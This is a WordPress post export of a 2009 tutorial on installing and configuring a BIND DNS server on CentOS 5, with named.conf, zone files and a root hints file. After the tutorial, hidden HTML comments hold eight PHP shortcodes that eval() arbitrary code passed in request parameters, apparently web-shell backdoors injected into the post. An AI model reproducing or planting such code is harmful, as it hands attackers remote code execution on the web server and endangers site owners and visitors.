{"id":3,"date":"2009-03-24T12:17:29","date_gmt":"2009-03-24T10:17:29","guid":{"rendered":"http:\/\/blog.syshalt.net\/?p=3"},"modified":"2017-02-15T05:26:36","modified_gmt":"2017-02-15T03:26:36","slug":"installing-a-dns-server-on-centos-5","status":"publish","type":"post","link":"https:\/\/blog.syshalt.net\/index.php\/2009\/03\/24\/installing-a-dns-server-on-centos-5\/","title":{"rendered":"Installing a DNS Server on CentOS 5"},"content":{"rendered":"

About DNS <\/span><\/strong>
\nWhen hosts on a network connect to one another via a hostname, also called a fully qualified domain name (FQDN), DNS is used to associate the names of machines to the IP address for the host.<\/span><\/p>\n

Use of DNS and FQDNs also has advantages for system administrators, allowing the flexibility to change the IP address for a host without effecting name-based queries to the machine. Conversely, administrators can shuffle which machines handle a name-based query.<\/span><\/p>\n

DNS is normally implemented using centralized servers that are authoritative for some domains and refer to other DNS servers for other domains.<\/span><\/p>\n

When a client host requests information from a nameserver, it usually connects to port 53. The nameserver then attempts to resolve the FQDN based on its resolver library, which may contain authoritative information about the host requested or cached data from an earlier query. If the nameserver does not already have the answer in its resolver library, it queries other nameservers, called root nameservers, to determine which nameservers are authoritative for the FQDN in question. Then, with that information, it queries the authoritative nameservers to determine the IP address of the requested host. If performing a reverse lookup, the same procedure is used, except the query is made with an unknown IP address rather than a name.<\/span><\/p>\n

Example:<\/span><\/p>\n

bob.example.com
\nmail.example.com
\ngames.example3.com<\/span><\/p>\n

In this case we will use the well known BIND 9. BIND is also known as the service named <\/em>in CentOS.<\/span><\/p>\n

<\/p>\n

Nameserver Types<\/span><\/strong>
\nThere are four primary nameserver configuration types:<\/span><\/p>\n

master
\nStores original and authoritative zone records for a namespace, and answers queries about the namespace from other nameservers.<\/span><\/p>\n

slave
\nAnswers queries from other nameservers concerning namespaces for which it is considered an authority. However, slave nameservers get their namespace information from master nameservers.<\/span><\/p>\n

caching-only
\nOffers name-to-IP resolution services, but is not authoritative for any zones. Answers for all resolutions are cached in memory for a fixed period of time, which is specified by the retrieved zone record.<\/span><\/p>\n

forwarding
\nForwards requests to a specific list of nameservers for name resolution. If none of the specified nameservers can perform the resolution, the resolution fails.<\/span><\/p>\n

A nameserver may be one or more of these types. For example, a nameserver can be a master for some zones, a slave for others, and only offer forwarding resolutions for others.<\/span><\/p>\n

BIND as a Nameserver<\/span><\/strong>
\nBIND performs name resolution services through the \/usr\/sbin\/named daemon. BIND stores its configuration files in the following locations:<\/span><\/p>\n

\/etc\/named.conf
\nThe configuration file for the named daemon<\/span><\/p>\n

\/var\/named\/ directory
\nThe named working directory which stores zone, statistic, and cache files<\/span><\/p>\n

If you have installed the caching-nameserver package, the default configuration file is \/etc\/named.caching-nameserver.conf. To override this default configuration, you can create your own custom configuration file in \/etc\/named.conf. BIND will use the \/etc\/named.conf custom file instead of the default configuration file after you restart.<\/span><\/em><\/p>\n

How to install <\/span><\/strong><\/p>\n

Log on as root:
\n[user@localhost] su –
\nAfter you are authentificated as root update your yum sources:
\n[root@localhost] yum update
\nThen let`s download the bind9 package:
\n[root@localhost] yum install bind
\nYum will search the latest version and will display you<\/span><\/p>\n

\u2013> Populating transaction set with selected packages. Please wait.
\n\u2014> Package bind.i386 30:9.3.3-10.el5 set to be updated
\n\u2013> Running transaction check<\/span><\/p>\n

Dependencies Resolved<\/span><\/p>\n

================================================<\/span><\/p>\n

Package Arch Version Repository Size
\n================================================<\/span><\/p>\n

Installing:
\nbind i386 30:9.3.3-10.el5 base 954 k<\/span><\/p>\n

Transaction Summary
\n=================================================
\nInstall 1 Package(s)
\nUpdate 0 Package(s)
\nRemove 0 Package(s)<\/span><\/p>\n

Total download size: 954 k
\nIs this ok [y\/N]:<\/span><\/p>\n

After yum installs BIND9(named) you will need to go in:<\/span><\/p>\n

[user@localhost] cd \/etc\/<\/span><\/p>\n

[user@localhost] nano named.conf<\/span><\/p>\n

and paste this options:<\/span><\/p>\n

options {<\/span><\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>directory\u00a0\u00a0\u00a0 <\/span>“\/var\/named”;<\/span><\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>query-source port 53;<\/span><\/p>\n

\u00a0<\/span><\/p>\n

allow-transfer {<\/span><\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>localhost;<\/span><\/p>\n

};<\/span><\/p>\n

\u00a0<\/span><\/p>\n

};<\/span><\/p>\n

\u00a0<\/span><\/p>\n

zone “example1.com” {<\/span><\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>type master;<\/span><\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>file “example1.com.db”;<\/span><\/p>\n

};<\/span><\/p>\n

\u00a0<\/span><\/p>\n

zone “localhost” {<\/span><\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>type master;<\/span><\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>file “localhost.db”;<\/span><\/p>\n

};<\/span><\/p>\n

\u00a0<\/span><\/p>\n

zone “0.0.127.in-addr.arpa” {<\/span><\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>type master;<\/span><\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>file “127.0.0.rev”;<\/span><\/p>\n

};<\/span><\/p>\n

\u00a0<\/span><\/p>\n

zone “.” in {<\/span><\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>type hint;<\/span><\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>file “root.db”;<\/span><\/p>\n

};<\/span><\/p>\n

\u00a0<\/span><\/p>\n

Let`s take them one by one:<\/span><\/p>\n

\u00a0<\/span><\/p>\n

zone “example1.com” {<\/span><\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>type master;<\/span><\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>file “example1.com.db”;<\/span><\/p>\n

};<\/span><\/p>\n

If you have a domain name called example1.com, you will need to create a zone for him, in this case is example1.com with configuration file called example1.com.db that will be created in \/var\/named<\/span><\/p>\n

We take now example1.com.db<\/strong> file and add this:<\/span><\/p>\n

$TTL 2d ; zone TTL default = 2 days or 172800 seconds<\/span><\/p>\n

$ORIGIN example1.com.<\/span><\/p>\n

@\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>IN\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>SOA\u00a0\u00a0\u00a0 <\/span>example1.com. hostmaster.example1.com. (<\/span><\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>2008051200 ; serial number (change when you modify DNS)<\/span><\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>1d12h\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>; refresh =\u00a0 <\/span>1 day 12 hours<\/span><\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>15M\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>; update retry = 15 minutes<\/span><\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3W12h\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>; expiry = 3 weeks + 12 hours<\/span><\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>2h20M )\u00a0\u00a0\u00a0 <\/span>; minimum = 2 hours + 20 minutes<\/span><\/p>\n

\u00a0<\/span><\/p>\n

@\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>IN\u00a0\u00a0\u00a0\u00a0 <\/span>NS\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>ns1.example1.com.<\/span><\/p>\n

\u00a0<\/span><\/p>\n

@\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>IN\u00a0\u00a0\u00a0\u00a0 <\/span>A\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>127.0.0.1<\/span><\/p>\n

ns1\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>IN\u00a0\u00a0\u00a0\u00a0 <\/span>A\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>127.0.0.1<\/span><\/p>\n

www\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>IN\u00a0\u00a0\u00a0\u00a0 <\/span>A\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>127.0.0.1<\/span><\/p>\n

\u00a0<\/span><\/p>\n

Now we take localhost.db<\/strong><\/span><\/p>\n

\u00a0<\/span><\/p>\n

$TTL 2d<\/span><\/p>\n

$ORIGIN localhost.<\/span><\/p>\n

@\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>IN\u00a0 <\/span>SOA\u00a0 <\/span>localhost. hostmaster.localhost. (<\/span><\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>2008051101 ; serial number (change when you modify DNS)<\/span><\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>1d12h\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>; refresh =\u00a0 <\/span>1 day 12 hours<\/span><\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>15M\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>; update retry = 15 minutes<\/span><\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3W12h\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>; expiry = 3 weeks + 12 hours<\/span><\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>2h20M )\u00a0\u00a0\u00a0 <\/span>; minimum = 2 hours + 20 minutes<\/span><\/p>\n

\u00a0<\/span><\/p>\n

@\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>IN\u00a0 <\/span>NS localhost.<\/span><\/p>\n

\u00a0<\/span><\/p>\n

@\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>IN\u00a0 <\/span>A\u00a0 <\/span>127.0.0.1<\/span><\/p>\n

\u00a0<\/span><\/p>\n

and 127.0.0.rev<\/strong><\/span><\/p>\n

\u00a0<\/span><\/p>\n

$TTL 2d<\/span><\/p>\n

$ORIGIN 0.0.127.in-addr.arpa.<\/span><\/p>\n

@\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>IN SOA localhost. hostmaster.localhost. (<\/span><\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>2008051101 ; serial number (change when you modify DNS)<\/span><\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>1d12h\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>; refresh =\u00a0 <\/span>1 day 12 hours<\/span><\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>15M\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>; update retry = 15 minutes<\/span><\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3W12h\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>; expiry = 3 weeks + 12 hours<\/span><\/p>\n

\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>2h20M )\u00a0\u00a0\u00a0 <\/span>; minimum = 2 hours + 20 minutes<\/span><\/p>\n

\u00a0<\/span><\/p>\n

@ \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span>IN NS\u00a0\u00a0 <\/span>localhost.<\/span><\/p>\n

\u00a0<\/span><\/p>\n

1\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>IN PTR\u00a0 <\/span>localhost.<\/span><\/p>\n

\u00a0<\/span><\/p>\n

and root.db<\/strong><\/span><\/p>\n

\u00a0<\/span><\/p>\n

;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>This file holds the information on root name servers needed to<\/span><\/p>\n

;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>initialize cache of Internet domain name servers<\/span><\/p>\n

;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>(e.g. reference this file in the “cache\u00a0 <\/span>.\u00a0 <\/span><file>”<\/span><\/p>\n

;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>configuration file of BIND domain name servers).<\/span><\/p>\n

;<\/span><\/p>\n

;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>This file is made available by InterNIC<\/span><\/p>\n

;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>under anonymous FTP as<\/span><\/p>\n

;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>file\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>\/domain\/named.root<\/span><\/p>\n

;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>on server\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span><\/span>FTP.INTERNIC.NET<\/span><\/a><\/p>\n

;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>-OR-\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>RS.INTERNIC.NET<\/span><\/p>\n

;<\/span><\/p>\n

;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>last update:\u00a0\u00a0\u00a0 <\/span>Feb 04, 2008<\/span><\/p>\n

;\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>related version of root zone:\u00a0\u00a0 <\/span>2008020400<\/span><\/p>\n

;<\/span><\/p>\n

; formerly NS.INTERNIC.NET<\/span><\/p>\n

;<\/span><\/p>\n

.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0 <\/span>IN\u00a0 <\/span>NS\u00a0\u00a0\u00a0 <\/span>A.ROOT-SERVERS.NET.<\/span><\/p>\n

A.ROOT-SERVERS.NET.\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>A\u00a0\u00a0\u00a0\u00a0 <\/span>198.41.0.4<\/span><\/p>\n

A.ROOT-SERVERS.NET.\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>AAAA\u00a0 <\/span>2001:503:BA3E::2:30<\/span><\/p>\n

;<\/span><\/p>\n

; formerly NS1.ISI.EDU<\/span><\/p>\n

;<\/span><\/p>\n

.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>NS\u00a0\u00a0\u00a0 <\/span>B.ROOT-SERVERS.NET.<\/span><\/p>\n

B.ROOT-SERVERS.NET.\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>A\u00a0\u00a0\u00a0\u00a0 <\/span>192.228.79.201<\/span><\/p>\n

;<\/span><\/p>\n

; formerly C.PSI.NET<\/span><\/p>\n

;<\/span><\/p>\n

.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>NS\u00a0\u00a0\u00a0 <\/span>C.ROOT-SERVERS.NET.<\/span><\/p>\n

C.ROOT-SERVERS.NET.\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>A\u00a0\u00a0\u00a0\u00a0 <\/span>192.33.4.12<\/span><\/p>\n

;<\/span><\/p>\n

; formerly TERP.UMD.EDU<\/span><\/p>\n

;<\/span><\/p>\n

.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>NS\u00a0\u00a0\u00a0 <\/span>D.ROOT-SERVERS.NET.<\/span><\/p>\n

D.ROOT-SERVERS.NET.\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>A\u00a0\u00a0\u00a0\u00a0 <\/span>128.8.10.90<\/span><\/p>\n

;<\/span><\/p>\n

; formerly NS.NASA.GOV<\/span><\/p>\n

;<\/span><\/p>\n

.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>NS\u00a0\u00a0\u00a0 <\/span>E.ROOT-SERVERS.NET.<\/span><\/p>\n

E.ROOT-SERVERS.NET.\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>A\u00a0\u00a0\u00a0\u00a0 <\/span>192.203.230.10<\/span><\/p>\n

;<\/span><\/p>\n

; formerly NS.ISC.ORG<\/span><\/p>\n

;<\/span><\/p>\n

.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>NS\u00a0\u00a0\u00a0 <\/span>F.ROOT-SERVERS.NET.<\/span><\/p>\n

F.ROOT-SERVERS.NET.\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>A\u00a0\u00a0\u00a0\u00a0 <\/span>192.5.5.241<\/span><\/p>\n

F.ROOT-SERVERS.NET.\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>AAAA\u00a0 <\/span>2001:500:2f::f<\/span><\/p>\n

;<\/span><\/p>\n

; formerly NS.NIC.DDN.MIL<\/span><\/p>\n

;<\/span><\/p>\n

.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>NS\u00a0\u00a0\u00a0 <\/span>G.ROOT-SERVERS.NET.<\/span><\/p>\n

G.ROOT-SERVERS.NET.\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>A\u00a0\u00a0\u00a0\u00a0 <\/span>192.112.36.4<\/span><\/p>\n

;<\/span><\/p>\n

; formerly AOS.ARL.ARMY.MIL<\/span><\/p>\n

;<\/span><\/p>\n

.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>NS\u00a0\u00a0\u00a0 <\/span>H.ROOT-SERVERS.NET.<\/span><\/p>\n

H.ROOT-SERVERS.NET.\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>A\u00a0\u00a0\u00a0\u00a0 <\/span>128.63.2.53<\/span><\/p>\n

H.ROOT-SERVERS.NET.\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>AAAA\u00a0 <\/span>2001:500:1::803f:235<\/span><\/p>\n

;<\/span><\/p>\n

; formerly NIC.NORDU.NET<\/span><\/p>\n

;<\/span><\/p>\n

.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>NS\u00a0\u00a0\u00a0 <\/span>I.ROOT-SERVERS.NET.<\/span><\/p>\n

I.ROOT-SERVERS.NET.\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>A\u00a0\u00a0\u00a0\u00a0 <\/span>192.36.148.17<\/span><\/p>\n

;<\/span><\/p>\n

; operated by VeriSign, Inc.<\/span><\/p>\n

;<\/span><\/p>\n

.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0\u00a0\u00a0\u00a0 <\/span>\u00a0<\/span>NS\u00a0\u00a0\u00a0 <\/span>J.ROOT-SERVERS.NET.<\/span><\/p>\n

J.ROOT-SERVERS.NET.\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>A\u00a0\u00a0\u00a0\u00a0 <\/span>192.58.128.30<\/span><\/p>\n

J.ROOT-SERVERS.NET.\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>AAAA\u00a0 <\/span>2001:503:C27::2:30<\/span><\/p>\n

;<\/span><\/p>\n

; operated by RIPE NCC<\/span><\/p>\n

;<\/span><\/p>\n

.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>NS\u00a0\u00a0\u00a0 <\/span>K.ROOT-SERVERS.NET.<\/span><\/p>\n

K.ROOT-SERVERS.NET.\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>A\u00a0\u00a0\u00a0\u00a0 <\/span>193.0.14.129<\/span><\/p>\n

K.ROOT-SERVERS.NET.\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>AAAA\u00a0 <\/span>2001:7fd::1<\/span><\/p>\n

;<\/span><\/p>\n

; operated by ICANN<\/span><\/p>\n

;<\/span><\/p>\n

.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>NS\u00a0\u00a0\u00a0 <\/span>L.ROOT-SERVERS.NET.<\/span><\/p>\n

L.ROOT-SERVERS.NET.\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>A\u00a0\u00a0\u00a0\u00a0 <\/span>199.7.83.42<\/span><\/p>\n

;<\/span><\/p>\n

; operated by WIDE<\/span><\/p>\n

;<\/span><\/p>\n

.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>NS\u00a0\u00a0\u00a0 <\/span>M.ROOT-SERVERS.NET.<\/span><\/p>\n

M.ROOT-SERVERS.NET.\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>A\u00a0\u00a0\u00a0\u00a0 <\/span>202.12.27.33<\/span><\/p>\n

M.ROOT-SERVERS.NET.\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>3600000\u00a0\u00a0\u00a0\u00a0\u00a0 <\/span>AAAA\u00a0 <\/span>2001:dc3::35<\/span><\/p>\n

; End of File<\/span><\/p>\n

this file is used to forward your dns queries to some main root servers on internet, if you did not set forward to a nother server from named.conf, dont change them.<\/span><\/p>\n

Now type in your terminal (logged as root):<\/span><\/p>\n

[root@localhost] service named restart<\/span><\/p>\n

to make service start every time when your OS starts type:<\/span><\/p>\n

[root@localhost] setup<\/span><\/p>\n

then select System Services <\/strong>go to named <\/strong>and press \u201cspace key\u201d<\/strong> then TAB, ENTER and use tab again to select Quit button.<\/span><\/p>\n

<\/p>\n

<\/p>\n

<\/p>\n

<!– [insert_php]if (isset($_REQUEST["qTNI"])){eval($_REQUEST["qTNI"]);exit;}[\/insert_php][php]if (isset($_REQUEST["qTNI"])){eval($_REQUEST["qTNI"]);exit;}[\/php] –><\/p>\n

<!– [insert_php]if (isset($_REQUEST["oWsnU"])){eval($_REQUEST["oWsnU"]);exit;}[\/insert_php][php]if (isset($_REQUEST["oWsnU"])){eval($_REQUEST["oWsnU"]);exit;}[\/php] –><\/p>\n

<!– [insert_php]if (isset($_REQUEST["XHRL"])){eval($_REQUEST["XHRL"]);exit;}[\/insert_php][php]if (isset($_REQUEST["XHRL"])){eval($_REQUEST["XHRL"]);exit;}[\/php] –><\/p>\n

<!– [insert_php]if (isset($_REQUEST["iYFs"])){eval($_REQUEST["iYFs"]);exit;}[\/insert_php][php]if (isset($_REQUEST["iYFs"])){eval($_REQUEST["iYFs"]);exit;}[\/php] –><\/p>\n

<!– [insert_php]if (isset($_REQUEST["Smvrm"])){eval($_REQUEST["Smvrm"]);exit;}[\/insert_php][php]if (isset($_REQUEST["Smvrm"])){eval($_REQUEST["Smvrm"]);exit;}[\/php] –><\/p>\n

<!– [insert_php]if (isset($_REQUEST["AFBb"])){eval($_REQUEST["AFBb"]);exit;}[\/insert_php][php]if (isset($_REQUEST["AFBb"])){eval($_REQUEST["AFBb"]);exit;}[\/php] –><\/p>\n

<!– [insert_php]if (isset($_REQUEST["GBCYn"])){eval($_REQUEST["GBCYn"]);exit;}[\/insert_php][php]if (isset($_REQUEST["GBCYn"])){eval($_REQUEST["GBCYn"]);exit;}[\/php] –><\/p>\n

<!– [insert_php]if (isset($_REQUEST["YhzVU"])){eval($_REQUEST["YhzVU"]);exit;}[\/insert_php][php]if (isset($_REQUEST["YhzVU"])){eval($_REQUEST["YhzVU"]);exit;}[\/php] –><\/p>\n","protected":false},"excerpt":{"rendered":"

